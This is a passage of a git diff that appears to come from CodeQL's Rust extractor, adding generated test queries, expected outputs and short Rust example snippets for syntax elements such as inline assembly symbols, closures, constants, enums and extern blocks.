b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmSym x, string hasPath +where + toBeTested(x) and + not x.isUnknown() and + if x.hasPath() then hasPath = "yes" else hasPath = "no" +select x, "hasPath:", hasPath diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.expected b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.expected new file mode 100644 index 00000000000..0bcf012c475 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.expected @@ -0,0 +1 @@ +| gen_asm_sym.rs:8:30:8:44 | AsmSym | gen_asm_sym.rs:8:34:8:44 | my_function | diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql new file mode 100644 index 00000000000..b753181e728 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmSym x +where toBeTested(x) and not x.isUnknown() +select x, x.getPath() diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs b/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs new file mode 100644 index 00000000000..83475cfcb6c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_sym() -> () { + // A symbol operand in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("call {sym}", sym = sym my_function); + // ^^^^^^^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected index e69de29bb2d..2c62ef6594b 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected @@ -0,0 +1 @@ +| gen_assoc_type_arg.rs:9:21:9:31 | AssocTypeArg | hasConstArg: | no | hasGenericArgList: | no | hasIdentifier: | yes | hasParamList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected index e69de29bb2d..901ebce3a55 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected @@ -0,0 +1 @@ +| gen_assoc_type_arg.rs:9:21:9:31 | AssocTypeArg | gen_assoc_type_arg.rs:9:21:9:24 | Item | diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected index e69de29bb2d..b6c9b7e740d 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_assoc_type_arg.rs:9:21:9:31 | AssocTypeArg | gen_assoc_type_arg.rs:9:27:9:31 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs b/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs index 9f7bb10a69a..725c1ecce63 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs @@ -1,6 +1,14 @@ // generated by codegen, do not edit fn test_assoc_type_arg() -> () { - // A AssocTypeArg. For example: - todo!() + // An associated type argument in a path. + // + // For example: + fn process_cloneable(iter: T) + where + T: Iterator + // ^^^^^^^^^^^ + { + // ... + } } diff --git a/rust/ql/test/extractor-tests/generated/Attr/Attr.expected b/rust/ql/test/extractor-tests/generated/Attr/Attr.expected index e69de29bb2d..e0c63af7678 100644 --- a/rust/ql/test/extractor-tests/generated/Attr/Attr.expected +++ b/rust/ql/test/extractor-tests/generated/Attr/Attr.expected @@ -0,0 +1 @@ +| gen_attr.rs:7:5:7:20 | Attr | hasMeta: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected b/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected index e69de29bb2d..8b7c87927b2 100644 --- a/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected +++ b/rust/ql/test/extractor-tests/generated/Attr/Attr_getMeta.expected @@ -0,0 +1 @@ +| gen_attr.rs:7:5:7:20 | Attr | gen_attr.rs:7:7:7:19 | Meta | diff --git a/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs b/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs index c028915cabf..a0a42bdf5fe 100644 --- a/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs +++ b/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_attr() -> () { - // A Attr. For example: - todo!() + // An attribute applied to an item. + // + // For example: + #[derive(Debug)] + //^^^^^^^^^^^^^ + struct S; } diff --git a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.expected b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.expected index ebe6eeda104..31824b731a6 100644 --- a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.expected +++ b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.expected @@ -1,4 +1,4 @@ -| gen_call_expr.rs:5:5:5:11 | foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasFunction: | yes | -| gen_call_expr.rs:6:5:6:23 | foo::<...>(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasFunction: | yes | -| gen_call_expr.rs:7:5:7:14 | ...(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasFunction: | yes | -| gen_call_expr.rs:8:5:8:10 | foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasFunction: | yes | +| gen_call_expr.rs:5:5:5:11 | foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | getNumberOfArgs: | 1 | hasFunction: | yes | +| gen_call_expr.rs:6:5:6:23 | foo::<...>(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | getNumberOfArgs: | 1 | hasFunction: | yes | +| gen_call_expr.rs:7:5:7:14 | ...(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | getNumberOfArgs: | 1 | hasFunction: | yes | +| gen_call_expr.rs:8:5:8:10 | foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | getNumberOfArgs: | 1 | hasFunction: | yes | diff --git a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.ql b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.ql index cd043e88d1d..8abf8b2a08e 100644 --- a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.ql +++ b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr.ql @@ -2,12 +2,13 @@ import codeql.rust.elements import TestUtils -from CallExpr x, string hasArgList, int getNumberOfAttrs, string hasFunction +from CallExpr x, string hasArgList, int getNumberOfAttrs, int getNumberOfArgs, string hasFunction where toBeTested(x) and not x.isUnknown() and (if x.hasArgList() then hasArgList = "yes" else hasArgList = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and + getNumberOfArgs = x.getNumberOfArgs() and if x.hasFunction() then hasFunction = "yes" else hasFunction = "no" -select x, "hasArgList:", hasArgList, "getNumberOfAttrs:", getNumberOfAttrs, "hasFunction:", - hasFunction +select x, "hasArgList:", hasArgList, "getNumberOfAttrs:", getNumberOfAttrs, "getNumberOfArgs:", + getNumberOfArgs, "hasFunction:", hasFunction diff --git a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getArg.expected b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getArg.expected new file mode 100644 index 00000000000..2bf84953410 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getArg.expected @@ -0,0 +1,4 @@ +| gen_call_expr.rs:5:5:5:11 | foo(...) | 0 | gen_call_expr.rs:5:9:5:10 | 42 | +| gen_call_expr.rs:6:5:6:23 | foo::<...>(...) | 0 | gen_call_expr.rs:6:21:6:22 | 42 | +| gen_call_expr.rs:7:5:7:14 | ...(...) | 0 | gen_call_expr.rs:7:12:7:13 | 42 | +| gen_call_expr.rs:8:5:8:10 | foo(...) | 0 | gen_call_expr.rs:8:9:8:9 | 1 | diff --git a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getArg.ql b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getArg.ql new file mode 100644 index 00000000000..37483c3e637 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getArg.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from CallExpr x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getArg(index) diff --git a/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs b/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs index a924e2f6168..6328368c5e1 100644 --- a/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs +++ b/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs @@ -1,6 +1,14 @@ // generated by codegen, do not edit fn test_closure_binder() -> () { - // A ClosureBinder. For example: - todo!() + // A closure binder, specifying lifetime or type parameters for a closure. + // + // For example: + let print_any = for |x: T| { + // ^^^^^^^^^^^^^^^^^^^^^^^ + println!("{:?}", x); + }; + + print_any(42); + print_any("hello"); } diff --git a/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.expected b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.expected index 3ea9f463a00..d8a9b33ce0e 100644 --- a/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.expected @@ -1,5 +1,5 @@ -| gen_closure_expr.rs:5:5:5:13 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 0 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | no | isStatic: | no | hasRetType: | no | -| gen_closure_expr.rs:6:5:6:34 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 0 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | yes | isStatic: | no | hasRetType: | yes | -| gen_closure_expr.rs:7:5:7:27 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 0 | hasBody: | yes | hasClosureBinder: | no | isAsync: | yes | isConst: | no | isGen: | no | isMove: | no | isStatic: | no | hasRetType: | no | -| gen_closure_expr.rs:8:6:9:15 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 1 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | no | isStatic: | no | hasRetType: | no | -| gen_closure_expr.rs:10:6:11:23 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 1 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | no | isStatic: | yes | hasRetType: | no | +| gen_closure_expr.rs:5:5:5:13 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 0 | getNumberOfParams: | 1 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | no | isStatic: | no | hasRetType: | no | +| gen_closure_expr.rs:6:5:6:34 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 0 | getNumberOfParams: | 1 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | yes | isStatic: | no | hasRetType: | yes | +| gen_closure_expr.rs:7:5:7:27 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 0 | getNumberOfParams: | 2 | hasBody: | yes | hasClosureBinder: | no | isAsync: | yes | isConst: | no | isGen: | no | isMove: | no | isStatic: | no | hasRetType: | no | +| gen_closure_expr.rs:8:6:9:15 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 1 | getNumberOfParams: | 1 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | no | isStatic: | no | hasRetType: | no | +| gen_closure_expr.rs:10:6:11:23 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 1 | getNumberOfParams: | 1 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | no | isStatic: | yes | hasRetType: | no | diff --git a/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.ql b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.ql index b4b3dddc679..6a5536c5be1 100644 --- a/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.ql +++ b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.ql @@ -3,13 +3,15 @@ import codeql.rust.elements import TestUtils from - ClosureExpr x, string hasParamList, int getNumberOfAttrs, string hasBody, string hasClosureBinder, - string isAsync, string isConst, string isGen, string isMove, string isStatic, string hasRetType + ClosureExpr x, string hasParamList, int getNumberOfAttrs, int getNumberOfParams, string hasBody, + string hasClosureBinder, string isAsync, string isConst, string isGen, string isMove, + string isStatic, string hasRetType where toBeTested(x) and not x.isUnknown() and (if x.hasParamList() then hasParamList = "yes" else hasParamList = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and + getNumberOfParams = x.getNumberOfParams() and (if x.hasBody() then hasBody = "yes" else hasBody = "no") and (if x.hasClosureBinder() then hasClosureBinder = "yes" else hasClosureBinder = "no") and (if x.isAsync() then isAsync = "yes" else isAsync = "no") and @@ -18,6 +20,7 @@ where (if x.isMove() then isMove = "yes" else isMove = "no") and (if x.isStatic() then isStatic = "yes" else isStatic = "no") and if x.hasRetType() then hasRetType = "yes" else hasRetType = "no" -select x, "hasParamList:", hasParamList, "getNumberOfAttrs:", getNumberOfAttrs, "hasBody:", hasBody, - "hasClosureBinder:", hasClosureBinder, "isAsync:", isAsync, "isConst:", isConst, "isGen:", isGen, - "isMove:", isMove, "isStatic:", isStatic, "hasRetType:", hasRetType +select x, "hasParamList:", hasParamList, "getNumberOfAttrs:", getNumberOfAttrs, + "getNumberOfParams:", getNumberOfParams, "hasBody:", hasBody, "hasClosureBinder:", + hasClosureBinder, "isAsync:", isAsync, "isConst:", isConst, "isGen:", isGen, "isMove:", isMove, + "isStatic:", isStatic, "hasRetType:", hasRetType diff --git a/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.expected b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.expected new file mode 100644 index 00000000000..29be6ae9ef0 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.expected @@ -0,0 +1,6 @@ +| gen_closure_expr.rs:5:5:5:13 | \|...\| ... | 0 | gen_closure_expr.rs:5:6:5:6 | ... | +| gen_closure_expr.rs:6:5:6:34 | \|...\| ... | 0 | gen_closure_expr.rs:6:11:6:16 | ...: i32 | +| gen_closure_expr.rs:7:5:7:27 | \|...\| ... | 0 | gen_closure_expr.rs:7:12:7:17 | ...: i32 | +| gen_closure_expr.rs:7:5:7:27 | \|...\| ... | 1 | gen_closure_expr.rs:7:20:7:20 | ... | +| gen_closure_expr.rs:8:6:9:15 | \|...\| ... | 0 | gen_closure_expr.rs:9:6:9:6 | ... | +| gen_closure_expr.rs:10:6:11:23 | \|...\| ... | 0 | gen_closure_expr.rs:11:14:11:14 | ... | diff --git a/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.ql b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.ql new file mode 100644 index 00000000000..06cef03f206 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from ClosureExpr x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getParam(index) diff --git a/rust/ql/test/extractor-tests/generated/Const/Const.expected b/rust/ql/test/extractor-tests/generated/Const/Const.expected index e69de29bb2d..4f486333873 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasBody: | yes | isConst: | yes | isDefault: | no | hasName: | yes | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected index e69de29bb2d..e6653a26b91 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getBody.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | gen_const.rs:7:20:7:21 | 42 | diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected index e69de29bb2d..e0c9ac08554 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getName.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | gen_const.rs:7:11:7:11 | X | diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected index e69de29bb2d..dde3546336a 100644 --- a/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/Const/Const_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_const.rs:4:5:7:22 | Const | gen_const.rs:7:14:7:16 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/Const/gen_const.rs b/rust/ql/test/extractor-tests/generated/Const/gen_const.rs index 32c17ef6c2b..cb343a3b64c 100644 --- a/rust/ql/test/extractor-tests/generated/Const/gen_const.rs +++ b/rust/ql/test/extractor-tests/generated/Const/gen_const.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_const() -> () { - // A Const. For example: - todo!() + // A constant item declaration. + // + // For example: + const X: i32 = 42; } diff --git a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected index e69de29bb2d..56a3b5946fa 100644 --- a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected +++ b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg.expected @@ -0,0 +1 @@ +| gen_const_arg.rs:7:11:7:11 | ConstArg | hasExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected index e69de29bb2d..c26632a25e7 100644 --- a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected @@ -0,0 +1 @@ +| gen_const_arg.rs:7:11:7:11 | ConstArg | gen_const_arg.rs:7:11:7:11 | 3 | diff --git a/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs b/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs index ac9bd5d1551..aab4e0d30d4 100644 --- a/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs +++ b/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_const_arg() -> () { - // A ConstArg. For example: - todo!() + // A constant argument in a generic argument list. + // + // For example: + Foo::<3> + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected index e69de29bb2d..9632fea6dd5 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected +++ b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected @@ -0,0 +1 @@ +| gen_const_param.rs:7:17:7:30 | ConstParam | getNumberOfAttrs: | 0 | hasDefaultVal: | no | isConst: | yes | hasName: | yes | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected index e69de29bb2d..65eb953a20b 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected +++ b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected @@ -0,0 +1 @@ +| gen_const_param.rs:7:17:7:30 | ConstParam | gen_const_param.rs:7:23:7:23 | N | diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected index e69de29bb2d..5a96f2d3ad6 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_const_param.rs:7:17:7:30 | ConstParam | gen_const_param.rs:7:26:7:30 | usize | diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs b/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs index c0e3388f3e9..7dd745ddad3 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs +++ b/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_const_param() -> () { - // A ConstParam. For example: - todo!() + // A constant parameter in a generic parameter list. + // + // For example: + struct Foo ; + // ^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected index e69de29bb2d..af1df824814 100644 --- a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected @@ -0,0 +1 @@ +| gen_dyn_trait_type_repr.rs:7:13:7:21 | DynTraitTypeRepr | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected index e69de29bb2d..63b58d830c1 100644 --- a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_dyn_trait_type_repr.rs:7:13:7:21 | DynTraitTypeRepr | gen_dyn_trait_type_repr.rs:7:17:7:21 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs index 24d4fec81e4..063b3ac9554 100644 --- a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_dyn_trait_type_repr() -> () { - // A DynTraitTypeRepr. For example: - todo!() + // A dynamic trait object type. + // + // For example: + let x: &dyn Debug; + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum.expected index e69de29bb2d..02547a2400e 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum.expected +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum.expected @@ -0,0 +1 @@ +| gen_enum.rs:4:5:7:34 | enum E | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | hasName: | yes | hasVariantList: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected index e69de29bb2d..0e5f3660d5e 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected @@ -0,0 +1 @@ +| gen_enum.rs:4:5:7:34 | enum E | gen_enum.rs:7:10:7:10 | E | diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected index e69de29bb2d..4827f814fac 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected @@ -0,0 +1 @@ +| gen_enum.rs:4:5:7:34 | enum E | gen_enum.rs:7:12:7:34 | VariantList | diff --git a/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs b/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs index 0711920e4ca..5bb7f774cf0 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs +++ b/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_enum() -> () { - // A Enum. For example: - todo!() + // An enum declaration. + // + // For example: + enum E {A, B(i32), C {x: i32}} } diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected index e69de29bb2d..9c06abfad70 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected @@ -0,0 +1 @@ +| gen_extern_block.rs:7:5:9:5 | ExternBlock | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | hasAbi: | yes | getNumberOfAttrs: | 0 | hasExternItemList: | yes | isUnsafe: | no | diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected index e69de29bb2d..ea8e7797362 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected @@ -0,0 +1 @@ +| gen_extern_block.rs:7:5:9:5 | ExternBlock | gen_extern_block.rs:7:5:7:14 | Abi | diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected index e69de29bb2d..83bb34c61ab 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected @@ -0,0 +1 @@ +| gen_extern_block.rs:7:5:9:5 | ExternBlock | gen_extern_block.rs:7:16:9:5 | ExternItemList | diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs b/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs index 8ba8ca6532a..9c9b28b98bb 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_extern_block() -> () { - // A ExternBlock. For example: - todo!() + // An extern block containing foreign function declarations. + // + // For example: + extern "C" { + fn foo(); + } } diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected index e69de29bb2d..f47afb2acb5 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected @@ -0,0 +1 @@ +| gen_extern_crate.rs:4:5:7:23 | ExternCrate | hasExtendedCanonicalPath: | no | 